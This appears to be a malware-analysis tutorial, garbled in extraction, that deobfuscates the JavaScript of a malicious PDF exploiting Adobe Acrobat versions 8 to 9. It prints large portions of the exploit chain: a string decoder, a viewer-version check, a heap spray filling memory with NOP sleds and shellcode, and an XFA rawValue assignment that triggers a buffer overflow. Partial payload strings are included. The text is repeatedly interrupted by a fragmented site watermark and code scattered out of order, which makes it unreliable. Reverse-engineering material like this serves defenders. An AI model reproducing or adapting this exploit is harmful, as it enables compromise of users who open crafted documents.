function fK546OP(cond1,cond2,name) // we passed two arguments cond1=10 and cond2=14 { if (cond1 != cond2) //we can see that our condition is verified so we will go down { if (name === undefined) // name is undefined because we sent only two params, so name is undefined { return parseInt; // we return the address of the parseInt javascript function } } return parseFloat; // else if cond1==cond2 (this is not our fuuu case) we return a parseFloat function address }

So now we have initialized our new function called fuuu and it's a pointer to a parseInt javascript function so lets keep it in mind and take note so it's added to our tables of functions fuuu = parseInt ;

htt

p:/

/ww

w.s

var fuuu = fK546OP(10,14); // this function is called to initialize fuuu at a parseInt function

yn

ap

se -l

ab

we can clearly see that it creates an XFA template defined as follow: <template xmlns="http://www.xfa.org/schema/xfa-template/2.5/"> <subform layout="tb" locale="en_US" name="jeu"> <pageSet> <pageArea id="mus" name="mus"> <contentArea h="756pt" w="576pt" x="0.25in" y="0.25in"/><medium long="792pt" short="612pt" stock="default"/> </pageArea> </pageSet> <subform h="756pt" w="576pt" name="bow"> <field h="65mm" name="ace" w="85mm" x="53.6501mm" y="88.6499mm"> <event activity="initialize" name="arc">

s.c om

Lets now continue and see the next instructions. nee=new Array(); // create a new array needed for heap sprying hit=28; hit+=5925; vis=app; // create a vis variable that is initialized with the app variable

We shall take a note that the app variable is not defined anywhere before, so we should have a javascript exception.

At the following instructions we notice that we are calling our main function (line in bold) with no return value and no interesting code after it, so we assume it's our big function that does all the job

htt

p:/

why=3544; why-=7662; sau=6487; sau+=25; fYZYD1X(); // here we call the main function jag=6384; jag+=16;

/ww

w.s

ok so now we know that the vis variable is pointing to the acrobat application that opens the PDF file ,lets continue with the rest of the javascript.

yn

The app object is a static object that represents the Acrobat application itself. It offers a number of Acrobat-specific functions in addition to a variety of utility routines and convenience functions. By interacting with the app object, you can open or create PDF and FDF documents, and customize the Acrobat interface by setting its viewing modes, displaying popup menus, alerts, and thermometers, displaying a modal dialog box, controlling time intervals, controlling whether calculations will be performed, performing email operations, and modifying its collection of toolbar buttons, menus, and menu items. You can also query app to determine which Adobe product and version the end user is using (such as Reader 6.0 or Acrobat Professional 7.0), as well as which printer names and color spaces are available.

ap

se -l

In our case app is an object defined as follows in the Acrobat JavaScript Scripting Guide

ab

However we have to remember that we are working on a PDF with embedded malware that generally targets Acrobat products and uses some embeded javascript code, so we have access to Adobe Javascript objects.

s.c om

Ok lets make a recap on all things we have:

subisartevar

This is a function that takes 3 parameters and returns a substring from the third parameter that is delimited by the first and second arguments defined as: function anonymous(a,b,c) { return c.substring(a,b); } This is an empty array defined here we will discover later its use This is a pointer to the Acrobat application itself that opened the pdf document, we will probably need to retrieve or set some information from the application This is our major function that will probably do the major job

nee vis

fYZYD1X()

The next step will be to enter inside the main function fYZYD1X() and trace our execution, so lets parse the code of the function: If you take a look at that function from the code before you will see that it's a huge function with more than 200 lines, however it's filled with a lot of unnecessary code just to distract us, we made a full review of that function and we extracted only the useful code so we can fit it in this paper and it has been reduced to 70 lines of code. We also stripped the long variables that contain long string patterns to a short pattern followed by dots (....) and a comment . You can try by yourself to re-read the function and try to remove all unnecessary code as exercise. Now our function is about 70 lines and looks like follow:

function fYZYD1X() { var cn,ca,y,x,v,yu,cs,cr,eb,h,ym,ci,yj,w,cz,d,ey,b,cb,eo,ex,ed,ep; // we declare our vars y=6282; y+=4702; d=fZFU9FO('1SrlhAXTOGDA',5); b=14842; b-=6842; x= fZFU9FO('siZLAyoaSK6.....',11); // originally a long string we just show a part of it to fit into document w= fZFU9FO('iO5hM0gI0iK.....',21); // originally a long string we just show a part of it to fit into document h = "zorro"; if (xfa) { h=fZFU9FO('wLYxJ7wjdRKe0rg....',10); // originally a long string we show a part to fit in document }

htt

p:/

/ww

w.s

yn

ap

se -l

ab

fuuu

This function does a standard parseInt(string, radix) javascript function

s.c om

Item Name

Definition

else { }

} }

htt

p:/

v=fZFU9FO('qZM7t9Q5tbPAxjTFxfTBziVE',15); ey=5392; ey+=2809; ed="abpve"; if (xfa) { ed=fZFU9FO('o1Csar2hT9u....',18); // originally a long string we show a part to fit in document } eb = "sin"; if (xfa) { eb=fZFU9FO('rZP7yhUD2laJ....',14); // originally a long string we show a part to fit in document } else { eb = eb + "dfs" } ex=16475; ex-=7174; eo=fZFU9FO('zpnhaWOG',6); ep=fZFU9FO('1QrLhfX0',5); cz=fZFU9FO('pSErfN3mU7u8L1kR',18); cr=fVQ3G4Y(); if(cr>=b) { cb=fA26LLZ(eo,y); ca=eb; cn=''; if(cr<ey) { cn=w; }else if(cr<ex) { ci=ed; cn=x; } if(ci[d]) { yj=[cs,cb,ca,ci][ep](''); yu=fEMFIIP(cn); ym=fGXIMA0(yu); fRREGPD(ym); yn=5024; yn+=6146;yo=0; ace[cz]=yj; }

/ww

w.s

yn

ap

se -l

ab

s.c om

h=h+"fdgf";

Now lets take our function and dissect it piece by piece:

so that will looks like the function fZFU9FO(zv,zt) is just calling fWUL0YM(zv,zt).

htt

p:/

/ww

w.s

yn

ap

se -l

lets try to follow our new function and see where it leads, and for that we will take some more functions :

ab

If we follow our code we will notice three major actions: y=10984 b=8000 call to fZFU9FO('1SrlhAXTOGDA',5); and put result in d

s.c om

var cn,ca,y,x,v,yu,cs,cr,eb,h,ym,ci,yj,w,cz,d,ey,b,cb,eo,ex,ed,ep; // declare our variables y=6282; // we declare a variable y that will be used later y+=4702; // we adjust y to make it 10984 d=fZFU9FO('1SrlhAXTOGDA',5); // we do a call to a function and put the return value in d b=14842; // we declare a variable b that will be used later b-=6842; // we adjust b to make it 8000

So lets continue and see what's the function fWUL0YM(zv,zt) is doing. Please be focusing as here we are entering in a second level function just to parse what's happening to the d variable defined in the function fYZYD1X() by d=fZFU9FO('1SrlhAXTOGDA',5);

lets go into our decoding function, please notice that we will use it more often in the future (please notice that this function was also about more than 200 lines, we just cleaned unnecessary code to make it clear for you and fit in the document) :

function fWUL0YM(zv,zt) { var c,gv,j,gf,zi,r,qd,qe,gm,qf,k,gm,qk,ql,v,qt,gp; r=121; r-=59; c=subisartevar(3,4,'DjbindecF'); c+=subisartevar(2,3,'dtxOfv5'); k=subisartevar(4,4,'hVZQfromBr'); k+=subisartevar(4,4,'eI_vCharnP'); k+=subisartevar(4,4,'D2QaCodej6'); j=subisartevar(3,3,'IA7subR8'); j+=subisartevar(4,3,'cWkOstrHn'); qd=subisartevar(3,3,'l3elenVj'); qd+=subisartevar(4,3,'O5MpgthsQ'); ql='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; qt=''; qk=0; qf=zv[qd]; for(gp=0;gp<qf;gp++) { qk+=zt; gm=zv[j](gp,1); gv=ql[c](gm); gv+=qk; gv%=r; qt+=ql[j](gv,1); } var crisna = Array(); for(gf=0;gf<qf;gf+=2) { gm=qt[j](gf,2); var ddd1 = 0; var ddd2 = 0; while ((ddd1 + ddd2) == 0) { if (freq < 0.3) {

htt

p:/

/ww

w.s

yn

ap

se -l

ab

s.c om

ddd1 = parint(86,3.3,gm); } { } freq = Math.random();

ddd2 = fuuu(gm,(17-1));

} crisna.push(String[k]( fO4JVB3(5,4,3,ddd1 + ddd2))) } return crisna.join(''); } Lets analyse it block by block : var c,gv,j,gf,zi,r,qd,qe,gm,qf,k,gm,qk,ql,v,qt,gp; r=121; r-=59;

Here we call our subisartevar var, if you remember before it's a substr function that receives 3 parameters (a,b,c), the first two are integer and the third is a string and it returns a substr from the third according to the two first parameters like : return c.substr(a,b) ;

in our case it's the same as :

c='DjbindecF' ; c.substr(3,4) ; // ====> this means we take 4 bytes (chars) starting from the third position c=subisartevar(3,4,'DjbindecF') =====> c='inde' ;

htt

p:/

/ww

c=subisartevar(3,4,'DjbindecF'); c+=subisartevar(2,3,'dtxOfv5'); k=subisartevar(4,4,'hVZQfromBr'); k+=subisartevar(4,4,'eI_vCharnP'); k+=subisartevar(4,4,'D2QaCodej6'); j=subisartevar(3,3,'IA7subR8'); j+=subisartevar(4,3,'cWkOstrHn'); qd=subisartevar(3,3,'l3elenVj'); qd+=subisartevar(4,3,'O5MpgthsQ');

w.s

yn

this var will be reserved for a later use, so lets continue with the next piece of code

ap

Here we declare our vars and initialize a variable r for later use, we initialize r to 121 then we substract 59 so we land at : r = 62

se -l

ab

s.c om

else

On the same way, lets go to the next instruction : c+=subisartevar(2,3,'dtxOfv5') ======> c= c + 'xOf' so finally our both instruction will lead to : c='indexOf' if we do same for k and j and qd we will lead in the following : Variable c k j qd Lets take the next portion of code : Value

indexOf Substr length

fromChar

What we see is that it's just initializing some vars, the first one ql is a pattern from 0 to z then comes one empty string var qt and qk is intialized to 0. Let's now take a look at the line in bold, that line is intializing the qf var. We remember that : zv = a parameter passed to the function that is a string (first param) qd = a decoded pattern that we figured that its value is length so what we have is somehow like : qf=zv.length so here we will have the length of our string in qf

htt

p:/

/ww

w.s

yn

ap

ql='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; qt=''; qk=0; qf=zv[qd];

se -l

ab

s.c om

lets continue and take the next piece of code

// // // // // //

1 2 3 4 5 6

We are dealing with a loop and exactly with a for loop and from the first for instruction we can figure that we will be processing our string pattern byte per byte so lets figure what's doing :

Now we identified our decryption algorithm, if you want, you can try to write a reversing one that encrypts the strings as exercise

htt

p:/

4- in this instruction we just increment our index by the value we sent as second parameter (our base of decryption) 5- here we calculate the rest of the division of our postition by r (r=62) and put it in gv 6- here we have : - qt : an empty initialized string that we will append a char to it every loop - ql : our alphanum pattern defined befoer from 0 to z - j : substr - gv:the position we calculated before from point 3 to 5 So here we take one byte(char) from the alphanum patter at the new gv position and append it to our empty string

/ww

w.s

3- here we have the following : - c : indexOf - ql : the alphanum pattern definded before from 0 to z - gm : our previously extracted one char at instruction 2 from our string passed as argument So in this instruction we try to find the position (index) of our previously extracted one char in the alphanum pattern string and put it in gv

yn

ap

2- in this instruction we have : - zv : our string - j : substrt - gp : our counter So in the instruction (2) we will just take one byte (char) from the position gp and put it in gm

se -l

1- qk was initiated by 0 and here in each loop we increment qk by zt (zt is our second parameter passed to this function)

ab

s.c om

for(gp=0;gp<qf;gp++) { qk+=zt; gm=zv[j](gp,1); gv=ql[c](gm); gv+=qk; gv%=r; qt+=ql[j](gv,1); }

Now lets remember what we defined befor and apply it to analyse the next piece of code var crisna = Array(); // we declare an array for(gf=0;gf<qf;gf+=2) // we start looping through our pattern two bytes a time { gm=qt[j](gf,2); // we take two bytes from our pattern each time (j=substr) var freq = 12; // we define our frequence var ddd1 = 0; // we define a var equal to 0 var ddd2 = 0; // we define second var equal to 00 while ((ddd1 + ddd2) == 0) // while both vars are equal to 0 let's loop (will loop for only one time) { if (freq < 0.3) // check freq if lower than 0.3 this will never happen { ddd1 = parint(86,3.3,gm); // call parint function } else // else { ddd2 = fuuu(gm,(17-1)); // we call our fuu function } freq = Math.random(); // we get another random value for freq } crisna.push(String[k]( fO4JVB3(5,4,3,ddd1 + ddd2))) // we call the fO4JVB3 and push result to our array }

htt

p:/

/ww

w.s

yn

ap

se -l

ab

s.c om

Perfect, now everything is commented lets look in details at the if/else block that calls both functions var freq = 12; // we define our frequence var ddd1 = 0; // we define a var equal to 0 var ddd2 = 0; // we define second var equal to 00 while ((ddd1 + ddd2) == 0) // while both vars are equal to 0 let's loop (will loop for only one time) { if (freq < 0.3) // check freq if lower than 0.3 this will never happen { ddd1 = parint(86,3.3,gm); // call parint function } else // else { ddd2 = fuuu(gm,(17-1)); // we call our fuu function } freq = Math.random(); // we get another random value for freq } We agree that : 1- our gm var contains two bytes 2- our while will loop one single time as dd1 will change so there will be no more ddd1+ddd2=0 3- we always land in second condition because at each FOR loop we will make freq=12 As we already documented our Erreur ! Source du renvoi introuvable. function we know that it acts as a parseInt function so the while loop is only only parsing the string in a hex format (17-1 = 16). 1- take two fu

However lets take a moment and document our second function that is defined as parint, here is it's code snippest : function parint(cond1,cond2,val) { if (cond1 < 10) return parseInt(val,16); if (cond2 == 123) { return 3; } return 3;

htt

p:/

/ww

w.s

yn

ap

se -l

ab

s.c om

} The parint accepts 3 params, we can see the value returned depends on what params are passed as cond1 and cond2, and either returns a parseInt using base 16 (hex) or the value 3. ok lets finish our last function :

crisna.push(String[k]( fO4JVB3(5,4,3,ddd1 + ddd2))) // we call the fO4JVB3 and push result to our array Here we push something in our defined array called crisna so lets take a look on what we have really : 1- k : fromCharCode ===> this function converts a unicode value to characters 2- ddd1 : always equal to 0 3- ddd2 : contains our two bytes selected from our buffer parsed using base 16 4- we call the function fO4JVB3 with three parameters All what we need now is to understand what the function fO4JVB3 does, so lets take a look at its code : function fO4JVB3(cond1,cond2,cond3,val) { var zzzz = Math.random(); // we initialize our random value in zzzz if (zzzz == 34756756) // FAKE we will never land here because math.random returns an integer between 0 and 1 { return 10; } if (xfa) // we check the xfa object if it's ok we land here and this is what will happen { if (cond1 > cond2) // we check first condition, in our case 5 > 4 so we enter there { if (cond2 > cond3) // we check second condition, in our condition 4>3 so we continue inside { return val; // we return our val as we received it } } } return 0; }

So here we are just calling a dummy function that only return us our string as it is. So the only thing we were doing before with crisna array is to fill it directly with the character

htt

If you follow the comments of that fuction, you will notice that the function fO4JVB3 is only returning the same value we passed to it as third argument (with suitable conditions 1,2,3)

p:/

/ww

w.s

yn

ap

se -l

ab

s.c om

(using fromCharCode) representing the parsed value of the two decoded strings.

If you remember we were analyzing the following snippest and we entered into the decoding function to understand what it does and what it will put in our var d : var cn,ca,y,x,v,yu,cs,cr,eb,h,ym,ci,yj,w,cz,d,ey,b,cb,eo,ex,ed,ep; // declare our variables y=6282; // we declare a variable y that will be used later y+=4702; // we adjust y to make it 10984 d=fZFU9FO('1SrlhAXTOGDA',5); // we do a call to a function and put the return value in d b=14842; // we declare a variable b that will be used later b-=6842; // we adjust b to make it 8000

d="length" after that we will see that our function is initializing the var b to the value 8000 lets continue with another piece of code

v=fZFU9FO('qZM7t9Q5tbPAxjTFxfTBziVE',15); // v='SUkqADggAABB' As you see the comments, the first parameter passed to fZFU9FO for both x and w and h were very long so here we just cut them so they will fit in the table and be more visible for you (however h wasn't as long as x and w) lets define the decoded pattern as follow : x : payload_x w : payload_w h : payload_h

htt

p:/

/ww

x= fZFU9FO('siZLAyoaSK6.....',11); // originally a long string we just show a part of it to fit into document w= fZFU9FO('iO5hM0gI0iK.....',21); // originally a long string we just show a part of it to fit into document h = "zorro"; if (xfa) // we will land here { h=fZFU9FO('wLYxJ7wjdRKe0rg....',10); // originally a long string we show a part to fit in document } else { h=h+"fdgf"; }

w.s

yn

ap

se -l

If we use the decryption algorithm agains the value ' 1SrlhAXTOGDA' using the base 5 this will result in :

ab

s.c om

As we analysed the decryption algorithm, I suppose that everyone undestand what the encryption function is doing, so lets now come back to our main function fYZYD1X

v : payload_v Lets now continue our work Ey=5392; ey+=2809; ed="abpve"; if (xfa) { to fit in document } eb = "sin"; if (xfa) { to fit in document } else { eb = eb + "dfs" } // initialize ey // make ey=8201

ed=fZFU9FO('o1Csar2hT9u....',18); // originally a long string we show a part

eb=fZFU9FO('rZP7yhUD2laJ....',14); // originally a long string we show a part

Here we can see that the same thing is happening except we have a new var called ey = 8201 here lets do the same as below and define ed and eb as our other payloads defined as : ed : payload_ed eb : payload_eb

All lines below has been commented as they use the same function for decoding and defining some patterns or vars, lets just now take a look to our fVQ3G4Y function and what it does really.

Here is the code (as usual the function was too long just to distract us we just took from it only useful code) :

htt

p:/

/ww

ex=16475; // initialize ex ex-=7174; // make ex=9301 eo=fZFU9FO('zpnhaWOG',6); // after decode we will have eo=QUFB ep=fZFU9FO('1QrLhfX0',5); // after decode we will have ep = join cz=fZFU9FO('pSErfN3mU7u8L1kR',18); // after decode we will have cz= rawValue cr=fVQ3G4Y();

w.s

lets continue with another piece of code :

yn

ap

se -l

ab

s.c om

As all our vars are decoded and are symbolizing some javascript functions, lets now take a look at the code in bold : 1- we have the instruction z=vis[g][w](); so lets enumerate all the data we have : vis : if you remember it contains our Acrobat application itself g : viewerVersion w:toString so here we can clearly see it's getting the viewerVersion (the version of Acrobat that opened the pdf file) and convert it to string and put it into our var z 2- we just split our var z according to the delimiter '.' then we join it back and put it into dita for example 8.2.0.1 ==> 8201 3- as our var b=length here we just loop until we have the length of dita = 4 4- while the length of our var dita < 4 all what we do is adding some '0' at the right so for example 8 ==> 8000 5- we do a parseInt with base 10 (decimal) so we just convert the string in dita to a number 6- we finally return our var dita to caller. So here we figured that the function fVQ3G4Y is just extracting the version of our Acrobat application that is used to open the pdf file. So lets go back to our previous main function where we stopped at :

So now we have in cr the version of our Acrobat that opened the pdf file.

htt

p:/

cr=fVQ3G4Y();

/ww

w.s

yn

ap

se -l

function fVQ3G4Y() { var g,b,x,z,w; // variable declaration b=fZFU9FO('0Qohc4QLF62y',6); // same decoding technique as before b=length x=fZFU9FO('3uupnce6WNOHGB',4); // same decoding technique x=replace g=fZFU9FO('pWEzeL5nUBvYJ2kRBobF0lQhq6',18); // same decoding technique g=viewerVersion w=fZFU9FO('zoi9RHD2xkgbQqA3',8); // same decoding technique w=toString z=vis[g][w](); //1 var dita = z['split']('.').join(''); //2 while(dita[b]<4) //3 { dita+='0'; //4 } dita=parseInt(dita,10); //5 return dita //6 }

ab

s.c om

Lets continue our work cr=fVQ3G4Y(); // we already have studied this and cr contains our version of acrobat if(cr>=b) // remember b=8000 here it checks if the version used is greater or equal to 8000 (8.0.0.0) { // if yes, we land here cs=v; // we put into cs our var v cb=fA26LLZ(eo,y); // we do another call to a function with eo=QUFB and y=10984 ca=eb; // if we remember we called eb payload_eb so here we put eb in ca cn=''; // we define a new string cn that is empty if(cr<ey) { cn=w; }else if(cr<ex) { ci=ed; cn=x; } if(ci[d]) { yj=[cs,cb,ca,ci][ep](''); yu=fEMFIIP(cn); ym=fGXIMA0(yu); fRREGPD(ym); ace[cz]=yj; } } } We suppose that we have a version of acrobat that is greater or equal to 8.0.0.0 so we land into the if condition and we will face another call to a function called fA26LLZ Let's take a look to that function and document it. As usual the function was somehow long with unnecessary code to scary us, here is the only meanful code
function fA26LLZ(m,j) { k=fZFU9FO('nP9nU6rTDqZAudGUcJ',20); // decoded with the same technique and k=substring d=fZFU9FO('3WxtrMljgaZY',3); // decoded with the same function d=length while(m[d]<j) // as d=length we loop while the length of m is lower than j { m+=m; // here we concatenate m with itself } m=m[k](0, j); // as k=substring here we truncate the m buffer to have exactly the j length return m

htt

p:/

/ww

w.s

yn

ap

se -l

ab

s.c om

As usual we decoded two vars containing javascript instructions (substring and length) and then we enter in a loop to repeat the buffer m again and again then truncate it to have the exact length j then return it to sender So lets go back, our instruction : cb=fA26LLZ(eo,y); will make us a cb buffer containing a repeated string 'QUFB' with a length of 10984 lets continue with our if conditions

So if our version version of acrobat is greater than 8.2.0.1 and lower than 9.3.0.1 we will enter here and our first instruction is to join our payloads into one single var called yj cs = SUkqADggAABB cb = 'QUFBQUFB'... repeated until length = 10984 ca = payload_eb = 'QqcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQE EAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////' ci = payload_ed = 'kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK' Next instruction we will pass the cn payload to the function fEMFIIP (cn is either our payload_x or payload_w according to our version of Acrobat in this case it should be payload_x because we checked that ci is not empty and entered in the if condition).

htt

p:/

/ww

w.s
}

yn

if(ci[d]) 9301> Acrobat version >=8201) {

yj=[cs,cb,ca,ci][ep](''); // ep=join yu=fEMFIIP(cn); ym=fGXIMA0(yu); fRREGPD(ym); ace[cz]=yj;

ap

If you read the comments you will notice that we are just selecting the appropriate payload for the exploit according to tour version of Acrobat lets now see what happens after that : // as d=length here we check if ci is not empty (means

se -l

if(cr<ey) // check if our version of acrobat < 8201 { cn=w; // our selected payload will be payload_w }else if(cr<ex) // else if 8201<= acrobat version < 9301 { ci=ed; // we put in ci our payload_ed cn=x; // our selected payload will be payload_x }

ab

s.c om

Lets now try to figure what the function fEMFIIP is doing and returning. Here is the code of that function cleaned without any useless instructions :

Lets now focus on the line in bold and try to understand what the function fCHDY57 is doing, here is its code function fCHDY57(cond1,cond2,cond3,val) { if (cond1 > 0) { var i; for (i=cond2; i < cond3; i++) { while (xfa) {

/ww

w.s

So in our case cond1=2 and cond 2=2 and cond3=8 wich will just return us the value cn that we passed to this function, that means that this function is just here for distraction.

htt

If we look closely we see that this function just returns the same value that was entered to it if cond1>0 and cond3>cond2 and if a valid xfa template is here

p:/

} } return "this page is unavailable";

yn

ap

function fEMFIIP(eh) { var n,ef,a,u,c,eu,t; u=fZFU9FO('seR8yJWp2ncQArjQEzo9M6uf',14); // decoded with base 14 it will lead to u=fromCharCode a=fZFU9FO('3WxtrMljgaZY',3); // when decoded with base 3 we will have a=length c=fZFU9FO('2tslhYYPOGE4',5); // when decoded with base 5 we have c=substr n=''; // here we define an empty var string for(t=0;t<eh[a];t+=2) //as a=length we loop by taking two bytes (char) a time until we reach the length of our buffer { ef=eh[c](t,2); // as c=substr we take two bytes(chars) a time from our buffer eu=parseInt(ef,16); // we do a simple parseInt with base 16 those two bytes and put into eu n+=fCHDY57(2,2,8,String[u](eu)); //we add to n the return of the call to the function fCHDY57 } return n; // we return our var n }

se -l
return val;

ab

s.c om

if(ci[d]) 9301> Acrobat version >=8201) {

// as d=length here we check if ci is not empty (means

yj=[cs,cb,ca,ci][ep](''); // ep=join yu=fEMFIIP(cn); // now yu contains a binary buffer from ym=fGXIMA0(yu); fRREGPD(ym); ace[cz]=yj; }

Lets now take a look at the next instruction in bold, we are doing another transformation of our yu buffer constructed previously by passing it as argument to another function called fGXIMA0 Lets now take a look at a cleaned version of the function fGXIMA0 function fGXIMA0(rr) {

time {

Lets focus on the next function called f0GSSPS and see what it does really do to the charcode that it receives, and for that lets take a look to a cleaned version of that function :

htt

function f0GSSPS(l) { g=fZFU9FO('zOldXyJD6wrm',7); // when decoded g=length p=fZFU9FO('tcQlxhXG5mcRAUiV',14); // when decoded p=toString

p:/

/ww

w+=l; // we append %u to w w+=f0GSSPS(rr[z](t+1)); //z=charCodeAt that means we pass the charcode of index t+1 to f0GSSPS w+=f0GSSPS(rr[z](t)); //z=charCodeAt that means we pass the charcode of index t to f0GSSPS } return w }

w.s

r=fZFU9FO('0Qohc4QLF62y',6); // when decoded r=length z=fZFU9FO('lN5mPzkK1fNbhK1fJvgI',21); // when decoded z=charCodeAt l=fZFU9FO('xvsl',5); // when decoded l=%u w=''; // a new empty var called w for(t=0;t<rr[r];t+=2) // as r=length here we loop through our entry buffer two bytes at a

yn

ap

se -l

ab

cn unicode values

s.c om

But keep in mind that we are passing to that function the value String[u](eu), as u=fromCharCode we are constructing the buffer cn containing the chars from unicode value eu (two bytes at a time) and finally we return n so after getting down into two functions lets get back to our original work with our payloads

Nice, so here we just send back a toString using basecode 16 (hex format) of the argument to the sender. So lets go back to our code and figure out what's happening :

for(t=0;t<rr[r];t+=2) // as r=length here we loop through our entry buffer two bytes at a {

w+=l; // we append %u to w w+=f0GSSPS(rr[z](t+1)); //we append the hex value of the second byte w+=f0GSSPS(rr[z](t)); //we append the hex value of the first byte

if(ci[d]) 9301> Acrobat version >=8201) {

cn unicode values

/ww
}

format for javascript into ym

htt

p:/

w.s

so lets go again one level up and go back to see what's happening to our buffer after being formated in a nice javascript unicode format // as d=length here we check if ci is not empty (means

yn
fRREGPD(ym); ace[cz]=yj;

So here we just format our buffer in a nice javascript unicode format by inversing each two bytes and append them to the formatting string %u

yj=[cs,cb,ca,ci][ep](''); // ep=join yu=fEMFIIP(cn); // now yu contains a binary buffer from ym=fGXIMA0(yu); // format the buffer yu in a nice unicode

ap

} return w

se -l

time

ab

s.c om

u=15; // we define a var u u++; // now u=16 w=l[p](u); // as p=toString, we just convert the value in l to a string in hex format (u=16) r=w[g]; // as g=length, here we put the length of w into r j=(r%2)?'0'+w:w; // we check if r is pair to see if we need to append a '0' to w or not to make it pair and put that in j return j // we return j }

As we can see, we just initilized our vars until we reach a call to the function fI2TOIO so lets take a look to a nice and cleaned version of the function fI2TOIO : function fI2TOIO(n) { var g; // we define a new var called g g=''; // we initialize g g=unescape(n); // we do a simple unescape of our argument into g return g // we return g } This function after being cleaned it will look like a simple unescape function, we just unescape our argument and send it back.

htt

p:/

/ww

w.s

function fRREGPD(qi) { q=fZFU9FO('0Qohc4QLF62y',6); // after decode we will have q=length y=532; // we initialize the variable y y-=132; // we make y=400 a=fZFU9FO('vrmdUTG621oe',7); // when decoded a will contain some unicode NOPs %u9090 j=8607; // we initialize the var j j-=415; // we make j=8192 g=fZFU9FO('2tslhYYPOGE4',5); // when decoded g=substr p=350476; // we initialize p p+=173812; // here we make p=524288 iq=32; // we initialize iq iq+=32; // now iq=64 we will need it later qi=fI2TOIO(qi); it=qi[q]*2; ie=fI2TOIO(a); id=f8IJN3M(ie,j-it); is=qi+id; is=f8IJN3M(is,p-iq); for(il=0;il<y;il++) { nee[il]=is[g](0,is[q]-1)+ie; } return }

yn

ap

se -l

ab

s.c om

Now lets take a look at our next called function fRREGPD in bold, we already cleaned it from useless code and it looks like :

So lets go back and continue our trip qi=fI2TOIO(qi); // we just do a unescape of our var qi and put it back into qi it=qi[q]*2; // as q=length all what we do here is to put the length of our buffer qi*2 into it ie=fI2TOIO(a); // we do same unescape for a id=f8IJN3M(ie,j-it); is=qi+id; is=f8IJN3M(is,p-iq);

it

htt

So in is we have our big repeated payload stored there with a total length of 524256 containing a SHELLCODE + NOPs repeated many times.

p:/

ie=fI2TOIO(a); // we do same unescape for a equals to %u9090 (unicode NOPs) id=f8IJN3M(ie,j-it); // we just repeat the buffer ie (%u9090) until we reach the length jit=8192-4752=3440 is=qi+id; // we concatenate our payload qi with our NOPS (%u9090) so both of them will be 8192 is=f8IJN3M(is,p-iq); //we do same as we repeat our is payload till it reachs the length piq=524288-32=524256

/ww

qi=fI2TOIO(qi); // we just do a unescape of our var qi and put it back into qi it=qi[q]*2; // as q=length all what we do here is to put the length of our buffer qi*2 into

w.s

So the function f8IJN3M takes two parameters, first one is a buffer and second one is a length and it repeats the buffer till it reachs the length Now lets go back and continue where we stopped :

yn

function f8IJN3M(l,h) { var g,b; // we declare our vars b=fZFU9FO('tbRBygXF5odKAzi2G3',14); // when decoded with base 14 b=substring g=fZFU9FO('0Qohc4QLF62y',6); // when decoded with base 6 g=length while(l[g]*2<h) // as g=length we loop while the length of l*2 is less then h { l+=l; // at each loop we concatenate the buffer l with itself } l=l[b](0, h/2); // as b=substring we truncate the resulting l buffer so it will match exactly the length h/2 return l // we return l to sender }

ap

se -l

ab

Again in the next instruction we have another call to a new function called f8IJN3M so lets take a look to a cleaned version of that function :

s.c om

So lets go to the next part for(il=0;il<y;il++) // we remember that y=400 so we loop 400 times { nee[il]=is[g](0,is[q]-1)+ie; } return }

So what we are doing is : we take a substring of is that is equal to the length to is (524256) and we append to it %9090 and we put it into nee[il] in other term and especially for those used to do exploitation and writing exploit what we are doing is called HEAP SPRYING and thant means we are allocating many big blocks in memory and throwing into them our shellcode + nops so we can predict a memory location to land into it when exploiting a vulnerability in a software. As we are in a malware reversing paper we won't go much in details about exploitation techniques, we will focuse on reversing. So after doing this HEAP SPRYING and putting our shellcode and nops everywhere in memory we return to caller, so lets go back and see what is the next step :

/ww
}

w.s

yn
fRREGPD(ym); ace[cz]=yj;

} }

htt

After throwing our shellcode in memory we then execute our latest instruction defined in bold as : ace[cz]=yj;

p:/

ap

se -l

to understand what we are doing let's enumerate all what we have nee : is our empty array defined before il : our counter that goes till 400 is : our 424256 buffer length containing repeated shellcode+nops g :substr q :length ie:%9090 (unicode nops)

// Heap Sprying with shellcode + nops

ab

Here we will loop for 400 times and each time we execute the following command in bold : nee[il]=is[g](0,is[q]-1)+ie;

s.c om

so here we affect our big payload as rawValue to our ace field and that what triggers the VULNERABILITY as a buffer overflow and we will land in our shellcode that we spryed the heap with to execute it.

Now we have extracted the shellcode and converted it in to shellcode that can be injected easily with the use of beesa

